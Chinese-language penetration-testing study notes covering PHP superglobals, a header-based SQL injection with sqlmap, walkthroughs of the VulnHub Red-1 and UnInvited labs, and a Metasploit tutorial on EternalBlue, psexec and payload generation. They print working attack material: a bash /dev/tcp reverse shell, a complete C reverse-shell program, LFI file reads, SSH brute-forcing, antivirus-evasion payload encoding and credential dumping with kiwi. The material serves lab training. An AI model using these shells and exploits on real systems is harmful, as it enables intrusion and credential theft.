- POST赋值
下载插件HackBar
- Cookie赋值
- REQUEST
即支持GET也支持POST
3、$_FILES
//$_FILES文件上传
echo "客户端文件名:".$_FILES['upfile']['name']."<br/>";
echo "文件类型:".$_FILES['upfile']['type']."<br/>";
echo "字节大小:".$_FILES['upfile']['size']."<hr/>";
4、$_SERVER
//$_SERVER访问信息获取
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];
echo "<hr>";
exit();
5、$_COOKIE
//$_COOKIE获取cookie
var_dump($_COOKIE);
echo '<br>';
exit();
6、$_SESSION
<?php
//$_SESSION获取session
$_SESSION['name']="admin";
$_SESSION['password']=123456;
echo "file:".$_SERVER["PHP_SELF"]."<br/>";
echo "name:".$_SESSION['name']."<br/>";
echo "pass:".$_SESSION['password']."<hr/>";
?>
七、实验
1、添加数据库
PHP版本需要切换到5.4.45
2、添加数据
3、导入项目
4、自动审计
5、漏洞分析
function getIP()
{
static $realip;
if (isset($_SERVER)){
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
$realip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$realip = $_SERVER["REMOTE_ADDR"];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")){
$realip = getenv("HTTP_X_FORWARDED_FOR");
} else if (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
return $realip;
}
?>
- 查询函数
- 可以查看内置函数的功能和作业
- 定位函数
- 自定义函数,定位到函数的位置自己分析
function ywdd($ip){
$SQL="SELECT * FROM `dd` WHERE `ip` LIKE '".$ip."'LIMIT 0 , 30";
$FH=mysql_query($SQL);
while($sj=mysql_fetch_array($FH)){
echo(" <tr>
<td>".$sj['u']."</td>
<td class=\"hidden-xs\">".$sj['m']."</td>
<td>|".$sj['d']."</td>
</tr>");
}
由于IP没有进行过滤会直接写入,所以我们可以伪造IP,进行SQL注入尝试
6、伪造IP
- 默认IP
- 伪造IP
增加X-Forwarded-For: 8.8.8.8
7、sqlmap
①、抓取数据包
②、创建文档
X-Forwarded-For: 8.8.8.8*
③、sqlmap扫描
sqlmap -r 1.txt
数据库扫描
sqlmap -r 1.txt --dbs
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] pkxss
[*] yang
?Red-1
一、靶机信息
# 靶机地址
http://www.vulnhub.com/entry/red-1,753/
#
https://www.cnblogs.com/sainet/p/15646227.html
https://blog.csdn.net/weixin_45377713/article/details/122029268
二、解决兼容性问题
1、弹出兼容性提示,直接重试即可
2、进入到回复模式下,修改配置文件
参考:https://blog.csdn.net/weixin_37909391/article/details/80691601
ctrl+x
:保存并启动
3、进入系统后查看网卡名称
ip add ens33
4、修改 /etc/netplan/00-installer-config.yaml
文件内容
- 将网卡enp0s3 名称修改为 ens33 (这个靶机需要用cat打开文件进行编辑)
5、修改好以后重启客户端,此时IP正常获取
三、端口扫描
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
http-generator: WordPress 5.8.1
四、域名绑定
通过查看80端口的网页源代码,发现域名 redrocks.win
1、域名绑定
192.168.184.143 redrocks.win
2、再次访问
3、查看robots.txt
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: http://redrocks.win/wp-sitemap.xml
四、Wpscan
1、指令
wpscan --url http://redrocks.win -e u --api-token
2、输出
WordPress version 5.8.1 #版本信息
administrator #用户名
五、漏洞检测
1、searchs
searchsploit wordpress 5.8.1
2、gobuster
探测文件,寻找后门
gobuster dir -u http://192.168.184.143/ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -t 20
/NetworkFileManagerPHP.php
访问时页面为空,符合后门特征
3、wfuzz
查找后门变量
wfuzz -c -u 'http://redrocks.win//NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hc 0 -t 20
六、爆破目录
由于拿到密码,为key,所以尝试读取目录
成功读取,开始爆破目录
目录信息
七、后门利用
可以看到,除了root以外还存在四个账户,直接读取wp-config.php
不成功,所以需要使用php协议读取php://filter/convert.base64-encode/resource=wp-config.php
1、读取文件源码
2、解码
解码后发现了用户名和密码的信息
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'john' );
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
define( 'DB_HOST', 'localhost' );
3、尝试登录ssh
登录失败
4、读取其他文件
通过读取/NetworkFileManagerPHP.php,发现
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==
That password alone won't help you! Hashcat says rules are rules
5、hash碰撞
hashcat的规则有很多,不过鉴于信息是由base64提供的,选择bset64规则进行hash碰撞hashcat --force pass -r /usr/share/hashcat/rules/best64.rule --stdout > pswd
求得突变密码的列表
hashcat --force R3v_m4lwh3r3_k1nG!! -r /usr/share/hashcat/rules/best64.rule --stdout > pswd
由于显卡原因,使用Winodws版hashcat
hashcat.exe --force passwd.txt -r rules/best64.rule --stdout > 123.txt
将密码本拷贝到kali当中
6、hydra
hydra -l john -P /tmp/123.txt -f 192.168.184.143 ssh
r3v_m4lwh3r3_k1nG!!
ssh密码每隔一段时间就会从密码列表里提取密码修改
7、再次登录ssh
ssh john@192.168.184.143
成功登录
但是会存在干扰
查看时发现 cat 命令成了 vim,vim 命令成了 cat
八、会话维持
1、查看自己的权限
sudo -l
(ippsec) NOPASSWD: /usr/bin/time
# 执行time的时候以ippsec的权限执行
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1' #反弹shell
执行sudo -u ippsec /usr/bin/time /bin/bash
切换到ippsec用户
2、交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'
九、权限提升
网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。
删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c
下载并运行 pspy64s 检查,看看系统在跑哪些进程。下载pspy64s,赋权并运行:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod +x pspy64s
./pspy64s
这应该是他对系统的后门,查看一下这个 supersecretfileuc.c 文件:
发现是定时弹出的脚本,可以上传一个 C 编写 shell,替代 supersecretfileuc.c 文件,然后等待 shell 连接:
先删除 /var/www/wordpress/.git/supersecretfileuc.c 和 rev 文件
写入 C 编写的 shell 替换掉原来的 supersecretfileuc.c,kali 上开启 http 服务上传
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 9999; // 端口
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.184.128"); //kali IP
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
kali开启监听
rlwrap nc -lvvp 9999
python3 -m http.server 80
靶机下载新的文件
wget http://192.168.184.128/supersecretfileuc.c
Metasploit框架(MSF)
一、简介
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
二、模块介绍
-
Auxiliary:辅助
- 信息收集
- Encoders:编码器
- NOP:空指令
-
Exploits:漏洞利用
- 进行攻击,拿到权限
-
Payloads:有效载荷
- 可以制作后门
-
Post:后渗透
- 内网信息探测
三、使用方法
1、基础使用
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
search name:mysql / pathiscasearch usermap_script/ type:aux / author:aaron #可多条件搜索
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
show info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
exploit / run #攻击
后渗透阶段 #后渗透阶段
apt-get install metasploit-framework #升级框架
2、Auxiliary(辅助模块)
- 信息搜集
- 端口探测
- 服务识别
- 已知漏洞探测
auxiliary/scanner/discovery/arp_sweep 本地网路探测:
1.配置IP地址端 set rhost 192.168.52.0/24
2.启动扫描 run
auxiliary/scanner/portscan/tcp 端口扫描
1.配置IP set rhost 192.168.52.145
2.配置端口 set rport 1-65535
3.启动扫描 run
auxiliary/scanner/smb/smb_ms17_010 永恒之蓝漏洞测试
1.配置IP set rhost 192.168.52.145
2.启动扫描 run
3、Exploits(漏洞利用模块)
- 利用漏洞获取目标远程控制权限,或者进行DDOS攻击,获取数据等
windows/smb/ms17_010_eternalblue 永恒之蓝漏洞利用
1.配置IP set rhosts 192.168.52.145
2.启动攻击 run
exploit/windows/smb/psexec 通过smb获取系统权限
1.配置IP set rhost 192.168.52.145
2.配置账号 set smbuser administrator
3.配置密码 set smbpass 123@qwe
4.启动攻击 run
4、Post(后渗透模块)
- 后期信息搜集
- 持续维持
- 文件读写
- 设备控制
5、Payloads(后门生成模块)
- 生成各种系统各种类型的远程控制后门程序,可以进行传输过程的加密配置
生成payload:
1.use payload/windows/x64/shell/reverse_tcp 进入tcp反弹模块
2.set lhost 192.168.52.142 设置反弹IP
3.set lport 9999 设置监听端口
4.generate -f exe -o /tmp/1.exe 生成payload
开启监听:
1. use exploit/multi/handler 建立监听
2.set lhost 192.168.52.142 配置监听IP
3.set lport 9999 配置监听端口
4.set payload windows/x64/shell/reverse_tcp 配置payload类型
5.run 启动监听
6、evasion(免杀模块)
- 提供payload免杀功能
生成免杀payload:
1.use evasion/windows/windows_defender_js_hta 进入免杀生成模块
7、Encoders(编码模块)
- payload辅助功能
8、Nop(空指令模块)
- payload辅助功能
9、扩展
ctrl+z
和ctrl+c
的区别
-
Ctrl+C中断了进程,返回到终端界面。
-
Ctrl+Z暂停了进程,返回到终端界面。
jobs查看暂停的进程 fg %name 恢复指定进程
四、永恒之蓝
1、探测IP地址
- 通过ARP的方式探测
Module options (auxiliary/scanner/discovery/arp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS 192.168.72.0/24 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 10 yes The number of concurrent threads (max one per host)
TIMEOUT 5 yes The number of seconds to wait for new data
2、端口扫描
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 400-500 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.72.130 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SNAPLEN 65535 yes The number of bytes to capture
THREADS 20 yes The number of concurrent threads (max one per host)
TIMEOUT 500 yes The reply read timeout in milliseconds
3、漏洞扫描
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/word yes List of named pipes to check
lists/named_pipes.txt
RHOSTS 192.168.72.130 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wik
i/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 10 yes The number of concurrent threads (max one per host)
探测是否存在漏洞
Kali监听4444端口接受反弹Shell
4、拿取权限
上传文件
上传成功
5、其他命令
? #查看当前的命令
sysinfo #查看当前系统信息
ls #查看内容
lcd #查看本地内容
pwd #查看当前目录
lpwd #查看本地当前目录
6、扩充组件
load -l #查看插件列表
load kiwi #下载插件kiwi
- 获取所有登录凭证
creds-all
成功获取账号密码
五、PsExec
实用工具(如 Telnet)和远程控制程序(如 Symantec 的 PC Anywhere)使您可以在远程系统上执行程序,但安装它们非常困难,并且需要您在想要访问的远程系统上安装客户端软件。PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。
可以利用445端口进行命令执行
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.72.130 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploi
t
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass panshi123qwE no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folde
r share
SMBUser administrator no The username to authenticate as
- 获取到权限
六、永恒之蓝补丁
1、下载地址
https://www.catalog.update.microsoft.com/search.aspx?q=kb4012212
安装成功后重启计算机
2、继续尝试永恒之蓝攻击
发现攻击失败
3、尝试利用psexec攻击
发现成功登录
七、Payloads(后门生成模块)
1、介绍
- bind:在目标设备上开启一个端口,控制端(kali)需要链接到目标设备进行后续操作
- 直连模式可以不写rhost
- 容易被管理员发现
- reverse:在控制端(kali)开启一个监听端口,目标执行payload后,会主动连接控制端(kali)的监听端口进行通讯。
- 容易暴露攻击主机
生成各种系统,可以进行远程控制的二进制程序。配合exp模块对目标进行攻击,并获取权限。也可以单独生成payload,进行被动攻击。
主动攻击与被动攻击:
- 主动攻击:一般是利用漏洞实现(参考永恒之之蓝漏洞实验)
- 被动攻击:一般采用钓鱼手段实验(诱导目标执行木马程序)
2、bind生成代码
generate
十六进制表示
3、选项
-b #去除坏字节
generate -b "\x00\xff" #防止被cpu误认为终端命令(没用删除,只是通过编码方式改变值)
generate -b "\x00\xff\x60" #也可隐藏其他字符进行免杀
-f # 根据代码生成指定的文件
-o # 输入文件
-i #可以进行多次编码,进行免杀
generate -b "\x00\xff\x60" -f jsp -o /tmp/1.jsp
生成成功
4、生成exe文件
generate -b "\x00\xff\x60" -f exe -o /tmp/1.exe
5、植入Bule
- 生成exe和vbs文件
- kali开启选项里设置的监听端口
- 查看Blue目前端口
未开启4444端口
- 执行Vbs
netstat -an | more
成功开启4444端口
- 连接后门
use exploit/multi/handler
set payload windows/x64/shell/bind_tcp # 发送端和接收端要对应
run
6、拿到权限
缺点
- 不可以切换
- 仅支持主机自己所安装的命令
①、reverse原理
让目标主机访问自己的主机,可以更具隐蔽性,k可以防止防火墙
②、生成代码
windows/x64/powershell_reverse_tcp
generate -b "/x00/xff" -f exe -o /tmp/123.exe
③、Kali开启监听
use exploit/multi/handler
set payload windows/x64/powershell_reverse_tcp
run
④、Blue执行
⑤、获取权限
?UnInvited
一、靶机信息
#靶机地址
http://www.vulnhub.com/entry/uninvited-1,523/
#参考
https://h4ckron.medium.com/hack-vulnhub-uninvited-e1b2bddce453
https://noxious.tech/posts/Uninvited/
二、端口扫描
Discovered open port 80/tcp on 192.168.72.131
Discovered open port 60000/tcp on 192.168.72.131
Discovered open port 7894/tcp on 192.168.72.131
三、端口探测
1、访问robots.txt
http://192.168.72.131:60000/robots.txt
2、访问扫描端口
访问80端口和60000端口,但是60000端口无法正常加载,我们尝试读取源码,发现包含fieldforce
,将其放入hosts尝试再次访问60000端口;并在80端口的源码中发现以下Base64数据
80端口
WWVhaCEgSSBrbm93IGl0IGhhcHBlbnMuLi4gSSBndWVzcyB1IG1pZ2h0IHdhbnQgdG8gYWRkIHRoaXMgW2ZpZWxkZm9yY2VdIHRvIHlvdXIgaG9zdHM=
#解码后为
Yeah! I know it happens... I guess u might want to add this [fieldforce] to your hosts
提示我们将fieldforce添加到hosts中
60000端口
192.168.72.131 fieldforce
再次访问发现成功访问,同理在Kali中指定DNS解析
3、利用wpscan进行扫描
wpscan --url http://fieldforce:60000/ -e u --api-token
WordPress version 5.4.10 #获取到了版本信息
发现了两个账户名
4、利用gobuster进行探测
gobuster dir -u http://fieldforce:60000/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 200 -q #-q 表示快速查询
/rss2 (Status: 200) [Size: 30003]
/rss (Status: 200) [Size: 1083]
/rdf (Status: 200) [Size: 29822]
/page1 (Status: 200) [Size: 20009]
/wp-admin (Status: 301) [Size: 320] [--> http://fieldforce:60000/wp-admin/]
/backdoor (Status: 302) [Size: 0] [--> http://fieldforce:60000/backdoor/]
我们访问/backdoor
页面
5、利用Cewl利用爬虫来生成字典
cewl http://fieldforce:60000/ --with-numbers -d 2 -m 4 -w wordlist.txt
-d:表示深度
-m:最小的长度
6、利用wpscan进行密码爆破
wpscan --url http://fieldforce:60000/ -P /tmp/wordlist.txt
Username: elliot, Password: wh1ter0se
Username: Elliot, Password: wh1ter0se
成功登录
7、制作文件上传
https://pentestmonkey.net/tools/web-shells/php-reverse-shell
8、kali开启监听
rlwrap nc -lvvp 9999
9、访问不存在的界面
访问不存在的界面,会自动跳转到404界面,然后代码执行成功,kali成功获取权限
四、权限提成
1、获取交互式界面
python3 -c 'import pty;pty.spawn("/bin/bash")'
在home目录下发现了用户名demodocker,继续探索
似乎我们在一个docker容器中,然后,我们发现一个包含提示的注释,在/home/demodocker/.local目录下发现了note.txt
ZW5jb2RlZCB0d2ljZSBMUzB0YVhBdExTMHZabk52WTJsbGRIa3VaWGhs
encoded twice LS0taXAtLS0vZnNvY2lldHkuZXhl
---ip---/fsociety.exe
2、下载fsociety.exe
wget http://192.168.72.131/fsociety.exe
3、利用wine
执行程序
可以在linux下执行winodws程序
wine fsociety.exe
USERNAME : elliot
PASSWORD : mrrobot
4、开启nc
监听
由于靶机未安装nc,所以我们让其下载kali端的nc
- Kali
cp /etc/alternatives/nc /tmp/nc
python3 -m http.server 80
- 靶机
wget http://192.168.72.129/nc
chmod +x nc #增加权限
./nc -lvp 8888
成功获取权限
5、得到Flag1
当我们运行cd命令时,获得的会话将关闭,因此我们可以以读取私有ssh密钥为目标,以获得更稳定的shell
6、创建公钥文件
ssh-keygen -t rsa -b 4096 -v
生成一个公钥一个私钥
7、读取靶机私钥
8、kali配置私钥
将靶机的私钥赋值到kali当中
- 设置权限
chmod 600 id_rsa
9、ssh登录
我们通过 ssh 得到一个 shell 日志记录,在本例中,它在端口 7894 上运行
ssh docksec@192.168.72.131 -i id_rsa -p 7894 #7894为nmap扫描出来的SSH端口
发现第二个用户
jeevan
我们发现,对于/etc/passwd
文件,我们有写入的权限
因此,我们可以使用openssl生成一个新密码,然后使用文本编辑器修改
openssl passwd 123123
omZuo2kVpn9HY
可以将x位置修改为密码。
进入root
文章来源:https://uudwc.com/A/Y1Wng
10、得到Flag2
文章来源地址https://uudwc.com/A/Y1Wng